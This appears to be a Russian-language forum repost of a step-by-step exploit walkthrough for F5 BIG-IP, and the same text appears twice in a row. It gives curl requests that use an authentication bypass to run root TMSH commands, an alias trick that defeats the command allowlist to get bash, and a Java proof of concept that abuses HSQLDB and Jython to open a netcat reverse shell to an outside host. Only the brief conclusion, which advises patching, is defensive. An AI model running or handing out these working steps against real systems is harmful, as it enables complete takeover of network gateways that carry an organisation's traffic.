BlackPope
Местный
- Регистрация
- 27.04.2020
- Сообщения
- 242
- Реакции
- 35
/usr/local/www/tmui/WEB-INF/web.xml
<servlet>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-name>
<servlet-class>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-class>
</servlet>
...
<servlet-mapping>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-name>
<url-pattern>/tmui/locallb/workspace/tmshCmd.jsp</url-pattern>
</servlet-mapping>
WEB-INF/classes/org/apache/jsp/tmui/locallb/workspace/tmshCmd_jsp.java
28: public final class tmshCmd_jsp extends HttpJspBase implements JspSourceDependent {
...
63: public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
...
81: String cmd = WebUtils.getProperty(request, "command");
82: if (cmd == null || cmd.length() == 0) {
83: logger.error(NLSEngine.getString("ilx.workspace.error.TmshCommandFailed"));
84: } else {
85: JSONObject resultObject = WorkspaceUtils.runTmshCommand(cmd);
86: tmshResult = resultObject.toString();
Здесь на вход принимается параметр command, который затем передается в метод WorkspaceUtils.runTmshCommand. Так как мы декомпилировали этот класс, то посмотрим, что делает runTmshCommand.
WEB-INF/lib/tmui.jar/com/f5/tmui/locallb/handler/workspace/WorkspaceUtils.java
01: package com.f5.tmui.locallb.handler.workspace;
...
31: public class WorkspaceUtils {
...
46: public static JSONObject runTmshCommand(String command) {
...
51: String operation = command.split(" ")[0];
...
53: try {
54: String[] args = { command };
55: Syscall.Result result = Syscall.callElevated(Syscall.TMSH, args);
56: output = result.getOutput();
57: error = result.getError();
Здесь происходит парсинг строки, которую мы передавали в command, и затем вызов Syscall.callElevated. Как видно из названия, этот метод вызывает команду Syscall.TMSH с повышенными привилегиями.
WEB-INF/lib/tmui.jar/com/f5/tmui/util/Syscall.java
13: import com.f5.mcp.schema.ltm.ShellCommandT;
...
78: public static final int TMSH = ShellCommandT.SC_TMSH.intValue();
Класс com.f5.mcp.schema.ltm.ShellCommandT находится в файле f5.rest.mcp.schema.jar. Декомпилируем и заглядываем в него.
usr/share/java/rest/libs/f5.rest.mcp.schema.jar/com/f5/mcp/schema/ltm/ShellCommandT.java
01: package com.f5.mcp.schema.ltm;
...
05: public class ShellCommandT extends SchemaEnum {
...
70: public static final ShellCommandT SC_TMSH = new ShellCommandT("SC_TMSH", 32L);
...
94: protected ShellCommandT(String tokenName, long tokenValue) {
95: super("shell_command_t", tokenName, tokenValue);
96: }
TMSH (Traffic Management SHell) — это bash-подобная утилита для администрирования BIG-IP. В ней можно автоматизировать команды и процессы, создавать собственные команды или наборы команд, выполнять кастомные скрипты на TCL, использовать разные сценарии поведения сервера, вплоть до его перезагрузки и полного выключения. Очень интересные возможности, не правда ли? А если учесть, что все это делается с привилегиями суперпользователя, то этот сервлет становится лакомым кусочком при эксплуатации уязвимости.
WEB-INF/lib/tmui.jar/com/f5/tmui/util/Syscall.java
162: public static Result callElevated(int command, String[] args) throws CallException {
163: return call(command, args, true);
164: }
...
186: private static Result call(int command, String[] args, boolean elevated) throws CallException {
...
203: Connection c = null;
204: try {
...
206: c = ConnectionManager.instance().getConnection();
...
209: c.setUser(UsernameHolder.getUser().getUsername(), (!elevated && !UsernameHolder.isElevated()), false);
210: ObjectManager om = new ObjectManager((SchemaStructured)LtmModule.ShellCall, c);
211: DataObject query = om.newObject();
212: query.put((SchemaAttribute)ShellCall.COMMAND, command);
213: query.put((SchemaAttribute)ShellCall.ARGS, parameters);
214: query.put((SchemaAttribute)ShellCall.USER, UsernameHolder.getUser().getUsername());
215: DataObject[] rs = om.queryStats(query);
216: if (rs != null && rs.length > 0)
217: return new Result(rs[0].getInt((SchemaAttribute)ShellCall.RETURN_CODE), rs[0].getString((SchemaAttribute)ShellCall.RESULTS), rs[0].getString((SchemaAttribute)ShellCall.ERRORS));
Давай попробуем вывести список администраторов BIG-IP. Это делается при помощи команды tmsh list auth user admin.
Просмотр списка администраторов BIG-IP через утилиту TMSH
Теперь сделаем то же самое, только через уязвимость.
curl -k "https://192.168.31.140/tmui/login.j...pace/tmshCmd.jsp?command=list+auth+user+admin" -s
Выполнение команд TMSH через уязвимость в F5 BIG-IP
Но это не все! Если немного углубиться в документацию TMSH, то можно обнаружить интересную команду bash модуля util.
Список команд модуля util
Эта команда делает именно то, что от нее ожидаешь, — вызывает bash в необходимом контексте. Здесь есть все те же флаги, что и в обычном bash.
Страница мануала команды bash в TMSH
Любые команды из модуля util можно вызывать как при помощи run, так и прямо из командной строки.
Разные варианты выполнения команд в bash через TMSH
Однако, если попробовать выполнить любой из вариантов через уязвимость, в ответ сервер вернет ошибку Rejected Tmsh Command.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=bash+-c+id" -s
Попытка вызвать произвольную команду через уязвимость в BIG-IP
Это происходит из-за того, что перед тем, как выполнить TMSH-команду, сервлет tmshCmd_jsp производит несколько проверок.
WEB-INF/lib/tmui.jar/com/f5/tmui/locallb/handler/workspace/WorkspaceUtils.java
52: if (!ShellCommandValidator.checkForBadShellCharacters(command) && (operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify"))) {
Метод ShellCommandValidator.checkForBadShellCharacters проверяет наличие запрещенных символов в строке. В расстрельный список попали:
& ; ` ' \ " | * ? ~ < > ^ ( ) [ ] { } $ \n \r
WEB-INF/lib/tmui.jar/com/f5/form/ShellCommandValidator.java
24: public static boolean checkForBadShellCharacters(String value) {
25: char[] cArray = value.toCharArray();
26: for (int i = 0; i < cArray.length; i++) {
27: char c = cArray;
28: if (c == '&' || c == ';' || c == '`' || c == '\'' || c == '\\' || c == '"' || c == '|' || c == '*' || c == '?' || c == '~' || c == '<' || c == '>' || c == '^' || c == '(' || c == ')' || c == '[' || c == ']' || c == '{' || c == '}' || c == '$' || c == '\n' || c == '\r')
29: return true;
30: }
31: return false;
32: }
Но это не главная проблема. Что действительно уменьшает область действия, так это вторая часть условия — проверка выполняемой операции.
operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify")
Как видишь, возможно выполнить только четыре команды TMSH: create, delete, list и modify. И здесь на помощь приходят алиасы. Как и в bash, в TMSH можно создать псевдонимы (alias) для команды, чтобы каждый раз не набирать ее. За это отвечает модуль cli alias. Алиасы бывают двух типов — shared и private. Они отличаются областью видимости — первые доступны внутри всей системы, вторые ограничены текущим пользователем. Посмотреть список псевдонимов можно с помощью команды list, удалить — delete, а создать новый при помощи create.
Список общих (shared) псевдонимов в TMSH
Думаю, ты уже догадываешься, к чему я веду. Нужно создать псевдоним для команды bash, в качестве имени которого указать любую из четырех разрешенных операций. Только советую делать область видимости private и удалять псевдоним сразу после выполнения необходимой команды, чтобы не мешать нормальной работе системы. Итак, план действий следующий.
Командой create cli alias private modify command bash создаем в зоне видимости пользователя алиас с именем modify, который будет вызывать команду bash.
curl -k "https://192.168.31.140/tmui/login.j...=create+cli+alias+private+modify+command+bash" -s
Теперь modify -c id выполнит необходимую команду. В моем случае это id.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=modify+-c+id" -s
Затем delete cli alias private modify — удаляем созданный алиас во избежание проблем.
curl -k "https://192.168.31.140/tmui/login.j...d.jsp?command=delete+cli+alias+private+modify" -s
Успешная эксплуатация уязвимости в F5 BIG-IP. Выполнение произвольных команд с правами суперпользователя
Такую последовательность легко автоматизировать. Готовые решения ты с легкостью сможешь найти на просторах GitHub. Существует даже готовый модуль для Metasploit.
К слову, этот способ RCE был найден позднее. Михаил же в своем репорте предлагает более интересный метод выполнения команд — через базу данных HyperSQL. Давай заодно посмотрим, как это делается.
В BIG-IP используется база данных HyperSQL. Запросы к сервлету, который с ней работает, httpd проксируют по URI /hsqldb.
/etc/httpd/conf.d/proxy_ajp.conf
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5
Конечно же, этот адрес доступен только после авторизации, но ты уже знаешь, как это обойти.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/hsqldb/" -s
Обход авторизации для доступа к HSQLDB
HyperSQL позволяет работать с базой данных по протоколу HTTP(S). Подключение описано в документации. По дефолту используется пользователь SA и пустой пароль.
Теперь давай накидаем PoC, который будет делать какие-нибудь простые запросы к БД. Для начала нужно скачать правильную библиотеку HSQLDB (ZIP). Затем пропишем в hosts строку
192.168.31.140 localhost.localdomain
Разумеется, IP должен быть твоей виртуалки! Это нужно, чтобы не возиться с SSL-сертификатами в Java. Далее в качестве URL для коннекта к базе данных указываем адрес с байпасом авторизации.
/hsqldb-poc-rce/src/com/f5rce/Main.java
01: package com.f5rce;
02:
03: import java.sql.*;
04: import java.lang.*;
05: import java.util.Properties;
06:
07: public class Main {
08:
09: public static void main(String[] args) throws Exception {
10: Class.forName("org.hsqldb.jdbcDriver");
11: String connectionURL = "jdbc:hsqldb:https://localhost.localdomain/tmui/login.jsp/..;/hsqldb/";
Теперь имя пользователя и пароль.
/hsqldb-poc-rce/src/com/f5rce/Main.java
12: Properties props = new Properties();
13: props.setProperty("user","SA");
14: props.setProperty("password","");
Подключаемся к БД.
/hsqldb-poc-rce/src/com/f5rce/Main.java
15: try {
16: Connection c = DriverManager.getConnection(connectionURL, props);
17: Statement stmt = null;
18: ResultSet result = null;
Теперь выполняем простенький запрос
SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS
/hsqldb-poc-rce/src/com/f5rce/Main.java
19: stmt = c.createStatement();
20: result = stmt.executeQuery("SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS");
Получаем результат и выводим в консоль.
/hsqldb-poc-rce/src/com/f5rce/Main.java
21: while (result.next()) {
22: System.out.println("Got result: " + result.getString(1));
23: }
24: result.close();
25: stmt.close();
26: } catch (SQLException e) {
27: e.printStackTrace();
28: }
Выполнение запроса к БД HyperSQL через обход авторизации в BIG-IP
Если внимательно просмотреть документацию к базе данных, то можно обнаружить любопытную функцию CALL, которая позволяет вызывать внешние функции Java.
Сначала проверим classpath — пути, откуда подгружаются библиотеки:
CALL "java.lang.System.getProperty"('java.class.path')
/hsqldb-poc-rce/src/com/f5rce/Main.java
20: result = stmt.executeQuery("CALL \"java.lang.System.getProperty\"('java.class.path')");
Получение classpath через HSQLDB в BIG-IP
Аналогичные пути использует Tomcat. Это хорошо, так как список потенциально опасных методов довольно обширен. Среди этого многообразия нужно найти метод с модификатором static, то есть тот, который можно вызывать без создания объекта класса. Михаил обнаружил подходящий:
com.f5.view.web.pagedefinition.shuffler.Scripting#setRequestContext
Он находится в файле /usr/local/www/tmui/WEB-INF/classes/tmui.jar, который мы уже декомпилировали.
WEB-INF/lib/tmui.jar/com/f5/view/web/pagedefinition/shuffler/Scripting.java
01: package com.f5.view.web.pagedefinition.shuffler;
...
12: public class Scripting {
13: static {
14: Properties props = new Properties();
15: System.setProperty("java.ext.dirs", "/usr/local/www/tmui/WEB-INF/lib/");
16: System.setProperty("java.class.path", System.getProperty("java.class.path") + ":/usr/local/www/tmui/WEB-INF/classes");
...
45: public static void setRequestContext(String object, String screen) {
46: PyObject current = getInterpreter().eval(object + "__" + screen + "()");
47: currentObject.set(current);
48: }
Этот метод выполняет код Jython и возвращает объект типа org.python.core.PyObject. Jython — это реализация языка Python на Java, поэтому нужно использовать его конструкции. Будем выполнять код при помощи Runtime.getRuntime().exec(). Для нашего удобства в BIG-IP по дефолту установлен netcat с поддержкой флага -e. Делаем через него бэкконнект.
/hsqldb-poc-rce/src/com/f5rce/Main.java
20: result = stmt.executeQuery("CALL \"com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" +
21: "\"('Runtime.getRuntime().exec(\"nc 192.168.31.12 1337 -e /bin/bash\")#','#')");
Успешная эксплуатация BIG-IP. Удаленное выполнение команд через HSQLDB
Рассмотренная уязвимость в очередной раз доказывает, что даже такая незначительная проблема, как некорректная нормализация пути, ведет к серьезным последствиям. Знание инфраструктуры приложения и возможности входящих в его состав инструментов позволили полностью захватить контроль над машиной BIG-IP. И думаю, нет смысла объяснять, какие проблемы может вызвать скомпрометированная система, через которую ходит весь сетевой трафик.
После получения деталей уязвимости разработчики F5 предложили ряд временных решений до выхода полноценного патча. К сожалению, некоторые из них оказались неэффективными и не позволяют в должной мере защититься от злоумышленников. Поэтому лучше всего обновляться до версии приложения, где проблема полностью исправлена.
<servlet>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-name>
<servlet-class>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-class>
</servlet>
...
<servlet-mapping>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-name>
<url-pattern>/tmui/locallb/workspace/tmshCmd.jsp</url-pattern>
</servlet-mapping>
WEB-INF/classes/org/apache/jsp/tmui/locallb/workspace/tmshCmd_jsp.java
28: public final class tmshCmd_jsp extends HttpJspBase implements JspSourceDependent {
...
63: public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
...
81: String cmd = WebUtils.getProperty(request, "command");
82: if (cmd == null || cmd.length() == 0) {
83: logger.error(NLSEngine.getString("ilx.workspace.error.TmshCommandFailed"));
84: } else {
85: JSONObject resultObject = WorkspaceUtils.runTmshCommand(cmd);
86: tmshResult = resultObject.toString();
Здесь на вход принимается параметр command, который затем передается в метод WorkspaceUtils.runTmshCommand. Так как мы декомпилировали этот класс, то посмотрим, что делает runTmshCommand.
WEB-INF/lib/tmui.jar/com/f5/tmui/locallb/handler/workspace/WorkspaceUtils.java
01: package com.f5.tmui.locallb.handler.workspace;
...
31: public class WorkspaceUtils {
...
46: public static JSONObject runTmshCommand(String command) {
...
51: String operation = command.split(" ")[0];
...
53: try {
54: String[] args = { command };
55: Syscall.Result result = Syscall.callElevated(Syscall.TMSH, args);
56: output = result.getOutput();
57: error = result.getError();
Здесь происходит парсинг строки, которую мы передавали в command, и затем вызов Syscall.callElevated. Как видно из названия, этот метод вызывает команду Syscall.TMSH с повышенными привилегиями.
WEB-INF/lib/tmui.jar/com/f5/tmui/util/Syscall.java
13: import com.f5.mcp.schema.ltm.ShellCommandT;
...
78: public static final int TMSH = ShellCommandT.SC_TMSH.intValue();
Класс com.f5.mcp.schema.ltm.ShellCommandT находится в файле f5.rest.mcp.schema.jar. Декомпилируем и заглядываем в него.
usr/share/java/rest/libs/f5.rest.mcp.schema.jar/com/f5/mcp/schema/ltm/ShellCommandT.java
01: package com.f5.mcp.schema.ltm;
...
05: public class ShellCommandT extends SchemaEnum {
...
70: public static final ShellCommandT SC_TMSH = new ShellCommandT("SC_TMSH", 32L);
...
94: protected ShellCommandT(String tokenName, long tokenValue) {
95: super("shell_command_t", tokenName, tokenValue);
96: }
TMSH (Traffic Management SHell) — это bash-подобная утилита для администрирования BIG-IP. В ней можно автоматизировать команды и процессы, создавать собственные команды или наборы команд, выполнять кастомные скрипты на TCL, использовать разные сценарии поведения сервера, вплоть до его перезагрузки и полного выключения. Очень интересные возможности, не правда ли? А если учесть, что все это делается с привилегиями суперпользователя, то этот сервлет становится лакомым кусочком при эксплуатации уязвимости.
WEB-INF/lib/tmui.jar/com/f5/tmui/util/Syscall.java
162: public static Result callElevated(int command, String[] args) throws CallException {
163: return call(command, args, true);
164: }
...
186: private static Result call(int command, String[] args, boolean elevated) throws CallException {
...
203: Connection c = null;
204: try {
...
206: c = ConnectionManager.instance().getConnection();
...
209: c.setUser(UsernameHolder.getUser().getUsername(), (!elevated && !UsernameHolder.isElevated()), false);
210: ObjectManager om = new ObjectManager((SchemaStructured)LtmModule.ShellCall, c);
211: DataObject query = om.newObject();
212: query.put((SchemaAttribute)ShellCall.COMMAND, command);
213: query.put((SchemaAttribute)ShellCall.ARGS, parameters);
214: query.put((SchemaAttribute)ShellCall.USER, UsernameHolder.getUser().getUsername());
215: DataObject[] rs = om.queryStats(query);
216: if (rs != null && rs.length > 0)
217: return new Result(rs[0].getInt((SchemaAttribute)ShellCall.RETURN_CODE), rs[0].getString((SchemaAttribute)ShellCall.RESULTS), rs[0].getString((SchemaAttribute)ShellCall.ERRORS));
Давай попробуем вывести список администраторов BIG-IP. Это делается при помощи команды tmsh list auth user admin.
Просмотр списка администраторов BIG-IP через утилиту TMSH
Теперь сделаем то же самое, только через уязвимость.
curl -k "https://192.168.31.140/tmui/login.j...pace/tmshCmd.jsp?command=list+auth+user+admin" -s
Выполнение команд TMSH через уязвимость в F5 BIG-IP
Но это не все! Если немного углубиться в документацию TMSH, то можно обнаружить интересную команду bash модуля util.
Список команд модуля util
Эта команда делает именно то, что от нее ожидаешь, — вызывает bash в необходимом контексте. Здесь есть все те же флаги, что и в обычном bash.
Страница мануала команды bash в TMSH
Любые команды из модуля util можно вызывать как при помощи run, так и прямо из командной строки.
- run /util bash -c id
- bash -c id
Разные варианты выполнения команд в bash через TMSH
Однако, если попробовать выполнить любой из вариантов через уязвимость, в ответ сервер вернет ошибку Rejected Tmsh Command.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=bash+-c+id" -s
Попытка вызвать произвольную команду через уязвимость в BIG-IP
Это происходит из-за того, что перед тем, как выполнить TMSH-команду, сервлет tmshCmd_jsp производит несколько проверок.
WEB-INF/lib/tmui.jar/com/f5/tmui/locallb/handler/workspace/WorkspaceUtils.java
52: if (!ShellCommandValidator.checkForBadShellCharacters(command) && (operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify"))) {
Метод ShellCommandValidator.checkForBadShellCharacters проверяет наличие запрещенных символов в строке. В расстрельный список попали:
& ; ` ' \ " | * ? ~ < > ^ ( ) [ ] { } $ \n \r
WEB-INF/lib/tmui.jar/com/f5/form/ShellCommandValidator.java
24: public static boolean checkForBadShellCharacters(String value) {
25: char[] cArray = value.toCharArray();
26: for (int i = 0; i < cArray.length; i++) {
27: char c = cArray;
28: if (c == '&' || c == ';' || c == '`' || c == '\'' || c == '\\' || c == '"' || c == '|' || c == '*' || c == '?' || c == '~' || c == '<' || c == '>' || c == '^' || c == '(' || c == ')' || c == '[' || c == ']' || c == '{' || c == '}' || c == '$' || c == '\n' || c == '\r')
29: return true;
30: }
31: return false;
32: }
Но это не главная проблема. Что действительно уменьшает область действия, так это вторая часть условия — проверка выполняемой операции.
operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify")
Как видишь, возможно выполнить только четыре команды TMSH: create, delete, list и modify. И здесь на помощь приходят алиасы. Как и в bash, в TMSH можно создать псевдонимы (alias) для команды, чтобы каждый раз не набирать ее. За это отвечает модуль cli alias. Алиасы бывают двух типов — shared и private. Они отличаются областью видимости — первые доступны внутри всей системы, вторые ограничены текущим пользователем. Посмотреть список псевдонимов можно с помощью команды list, удалить — delete, а создать новый при помощи create.
Список общих (shared) псевдонимов в TMSH
Думаю, ты уже догадываешься, к чему я веду. Нужно создать псевдоним для команды bash, в качестве имени которого указать любую из четырех разрешенных операций. Только советую делать область видимости private и удалять псевдоним сразу после выполнения необходимой команды, чтобы не мешать нормальной работе системы. Итак, план действий следующий.
Командой create cli alias private modify command bash создаем в зоне видимости пользователя алиас с именем modify, который будет вызывать команду bash.
curl -k "https://192.168.31.140/tmui/login.j...=create+cli+alias+private+modify+command+bash" -s
Теперь modify -c id выполнит необходимую команду. В моем случае это id.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=modify+-c+id" -s
Затем delete cli alias private modify — удаляем созданный алиас во избежание проблем.
curl -k "https://192.168.31.140/tmui/login.j...d.jsp?command=delete+cli+alias+private+modify" -s
Успешная эксплуатация уязвимости в F5 BIG-IP. Выполнение произвольных команд с правами суперпользователя
Такую последовательность легко автоматизировать. Готовые решения ты с легкостью сможешь найти на просторах GitHub. Существует даже готовый модуль для Metasploit.
К слову, этот способ RCE был найден позднее. Михаил же в своем репорте предлагает более интересный метод выполнения команд — через базу данных HyperSQL. Давай заодно посмотрим, как это делается.
RCE через HyperSQL
В BIG-IP используется база данных HyperSQL. Запросы к сервлету, который с ней работает, httpd проксируют по URI /hsqldb.
/etc/httpd/conf.d/proxy_ajp.conf
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5
Конечно же, этот адрес доступен только после авторизации, но ты уже знаешь, как это обойти.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/hsqldb/" -s
Обход авторизации для доступа к HSQLDB
HyperSQL позволяет работать с базой данных по протоколу HTTP(S). Подключение описано в документации. По дефолту используется пользователь SA и пустой пароль.
Теперь давай накидаем PoC, который будет делать какие-нибудь простые запросы к БД. Для начала нужно скачать правильную библиотеку HSQLDB (ZIP). Затем пропишем в hosts строку
192.168.31.140 localhost.localdomain
Разумеется, IP должен быть твоей виртуалки! Это нужно, чтобы не возиться с SSL-сертификатами в Java. Далее в качестве URL для коннекта к базе данных указываем адрес с байпасом авторизации.
/hsqldb-poc-rce/src/com/f5rce/Main.java
01: package com.f5rce;
02:
03: import java.sql.*;
04: import java.lang.*;
05: import java.util.Properties;
06:
07: public class Main {
08:
09: public static void main(String[] args) throws Exception {
10: Class.forName("org.hsqldb.jdbcDriver");
11: String connectionURL = "jdbc:hsqldb:https://localhost.localdomain/tmui/login.jsp/..;/hsqldb/";
Теперь имя пользователя и пароль.
/hsqldb-poc-rce/src/com/f5rce/Main.java
12: Properties props = new Properties();
13: props.setProperty("user","SA");
14: props.setProperty("password","");
Подключаемся к БД.
/hsqldb-poc-rce/src/com/f5rce/Main.java
15: try {
16: Connection c = DriverManager.getConnection(connectionURL, props);
17: Statement stmt = null;
18: ResultSet result = null;
Теперь выполняем простенький запрос
SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS
/hsqldb-poc-rce/src/com/f5rce/Main.java
19: stmt = c.createStatement();
20: result = stmt.executeQuery("SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS");
Получаем результат и выводим в консоль.
/hsqldb-poc-rce/src/com/f5rce/Main.java
21: while (result.next()) {
22: System.out.println("Got result: " + result.getString(1));
23: }
24: result.close();
25: stmt.close();
26: } catch (SQLException e) {
27: e.printStackTrace();
28: }
Выполнение запроса к БД HyperSQL через обход авторизации в BIG-IP
Если внимательно просмотреть документацию к базе данных, то можно обнаружить любопытную функцию CALL, которая позволяет вызывать внешние функции Java.
Сначала проверим classpath — пути, откуда подгружаются библиотеки:
CALL "java.lang.System.getProperty"('java.class.path')
/hsqldb-poc-rce/src/com/f5rce/Main.java
20: result = stmt.executeQuery("CALL \"java.lang.System.getProperty\"('java.class.path')");
Получение classpath через HSQLDB в BIG-IP
Аналогичные пути использует Tomcat. Это хорошо, так как список потенциально опасных методов довольно обширен. Среди этого многообразия нужно найти метод с модификатором static, то есть тот, который можно вызывать без создания объекта класса. Михаил обнаружил подходящий:
com.f5.view.web.pagedefinition.shuffler.Scripting#setRequestContext
Он находится в файле /usr/local/www/tmui/WEB-INF/classes/tmui.jar, который мы уже декомпилировали.
WEB-INF/lib/tmui.jar/com/f5/view/web/pagedefinition/shuffler/Scripting.java
01: package com.f5.view.web.pagedefinition.shuffler;
...
12: public class Scripting {
13: static {
14: Properties props = new Properties();
15: System.setProperty("java.ext.dirs", "/usr/local/www/tmui/WEB-INF/lib/");
16: System.setProperty("java.class.path", System.getProperty("java.class.path") + ":/usr/local/www/tmui/WEB-INF/classes");
...
45: public static void setRequestContext(String object, String screen) {
46: PyObject current = getInterpreter().eval(object + "__" + screen + "()");
47: currentObject.set(current);
48: }
Этот метод выполняет код Jython и возвращает объект типа org.python.core.PyObject. Jython — это реализация языка Python на Java, поэтому нужно использовать его конструкции. Будем выполнять код при помощи Runtime.getRuntime().exec(). Для нашего удобства в BIG-IP по дефолту установлен netcat с поддержкой флага -e. Делаем через него бэкконнект.
/hsqldb-poc-rce/src/com/f5rce/Main.java
20: result = stmt.executeQuery("CALL \"com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" +
21: "\"('Runtime.getRuntime().exec(\"nc 192.168.31.12 1337 -e /bin/bash\")#','#')");
Успешная эксплуатация BIG-IP. Удаленное выполнение команд через HSQLDB
Заключение
Рассмотренная уязвимость в очередной раз доказывает, что даже такая незначительная проблема, как некорректная нормализация пути, ведет к серьезным последствиям. Знание инфраструктуры приложения и возможности входящих в его состав инструментов позволили полностью захватить контроль над машиной BIG-IP. И думаю, нет смысла объяснять, какие проблемы может вызвать скомпрометированная система, через которую ходит весь сетевой трафик.
После получения деталей уязвимости разработчики F5 предложили ряд временных решений до выхода полноценного патча. К сожалению, некоторые из них оказались неэффективными и не позволяют в должной мере защититься от злоумышленников. Поэтому лучше всего обновляться до версии приложения, где проблема полностью исправлена.